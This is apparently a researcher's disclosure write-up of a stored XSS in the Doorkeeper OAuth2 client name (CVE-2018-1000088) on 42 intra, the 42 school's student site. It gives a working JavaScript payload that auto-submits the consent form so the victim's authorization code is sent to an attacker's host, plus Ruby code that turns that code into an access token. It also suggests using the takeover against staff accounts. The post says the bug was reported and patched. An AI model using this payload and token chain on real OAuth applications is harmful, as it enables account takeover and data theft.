OAuth2 flaw leads to one-click Account TakeOver in 42 intra.

OAuth2 flaw leads to one-click Account TakeOver in 42 intra.

This is an article about a vulnerability I found in 42 intra (a website to manage the activities of 42 students) leads to one-click account takeover by stealing API client token.

42 intra uses "doorkeeper" as an OAuth2 provider:

GitHub - doorkeeper-gem/doorkeeper: Doorkeeper is an OAuth 2 provider for Ruby on Rails / Grape.
Doorkeeper is an OAuth 2 provider for Ruby on Rails / Grape. - GitHub - doorkeeper-gem/doorkeeper: Doorkeeper is an OAuth 2 provider for Ruby on Rails / Grape.

Doorkeeper is vulnerable to stored XSS on the OAuth Client's name:

Will cause users being prompted for consent via the "implicit" grant type to execute the XSS payload.

XSS in default views · Issue #969 · doorkeeper-gem/doorkeeper
Default authorization and application views use the "raw" function which inevitably lead to xss issue : doorkeeper/app/views/doorkeeper/authorizations/new.html.erb Line 7 in 14c9ed1 <%...

This vulnerability has been assigned with CVE-2018-1000088.

Account Takeover Proof of Concept:

In the normal case, in order to have access to user data, the user must authorize themselves to your application and give their client token which we can use to generate an API access token:

By modifying the application scope, we can also manage the user's data and account:

In our case, by leveraging the stored XSS, we can force the user to authorize our application and be redirected to our evil host, when we can get their client token as a GET parameter.

An XSS payload to force click "Authorize" button on page load:

window.addEventListener('load', function () { document.querySelector("#container > div > main > div.actions > form:nth-child(1)").submit(); })

The user will be redirected to our host with his client token:

An access token can be generated by the Oauth2 module:

require 'oauth2'
callback = "[CALLBACK_URL]" # redirect URL
app_id = "[APPLICATION_ID]" # application UID
secret = "[SECRET]" # application secret
client = OAuth2::Client.new(app_id, secret, site: "https://api.intra.42.fr")
client.auth_code.authorize_url(redirect_uri: callback)
code="[CODE]" # the code
access = client.auth_code.get_token( code, redirect_uri: callback)
puts access.token

You can use the access token to do lots of things like hack a staff member and boost your black hole days.

API docs:

42’s API documentation

Reported, Patched and got an achievement: